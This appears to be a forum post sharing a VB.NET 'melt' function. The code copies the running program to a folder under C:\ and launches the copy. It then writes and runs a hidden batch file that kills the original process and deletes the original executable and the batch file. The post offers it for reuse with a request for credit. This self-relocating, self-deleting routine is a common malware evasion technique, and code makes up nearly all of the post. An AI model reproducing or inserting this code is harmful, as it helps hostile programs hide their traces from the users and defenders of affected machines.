My Custom Melt Function
I Hope you will like it !
Imports:
Imports System.IO
Add This code to your application:
Public Sub CustomMeltFunctionByHli4S()
' Custom Melt Function
' Credits: Hli4S
' Email: hlias-0210@hotmail.com
' www.hli4s.net
' If you use it,
' Please Add Credits
Dim meltfile As String = "meltfile.exe"
Dim folder As String = "meltfolder"
If My.Computer.FileSystem.FileExists("C:\" & folder & "\" & meltfile) Then
'Do Nothing
Else
If My.Computer.FileSystem.DirectoryExists("C:\" & folder) Then
'Do Nothing
Else
My.Computer.FileSystem.CreateDirectory("C:\" & folder)
End If
My.Computer.Network.DownloadFile(CurDir() & "\" & Application.ProductName & ".exe", "C:\" & folder & "\" & meltfile)
System.Diagnostics.Process.Start("C:\" & folder & "\" & meltfile)
Dim Meltwriter As New StreamWriter(Application.StartupPath & "\melt.bat")
Meltwriter.WriteLine("@echo off")
Meltwriter.WriteLine("TASKKILL /F /T /IM " & Application.ProductName)
Meltwriter.WriteLine("del " & Replace(Application.ExecutablePath, Application.StartupPath & "\", ""))
Meltwriter.WriteLine("del melt.bat")
Meltwriter.Flush()
Meltwriter.Close()
Shell(Application.StartupPath & "\melt.bat", AppWinStyle.Hide)
Shell("melt.bat")
End
End If
End Sub
You call the Function with this code:
CustomMeltFunctionByHli4S()
If you LIKE IT :
Comment my Topic ! :D
Credits Goes to me
So if you use it Please Don't forget to add credits !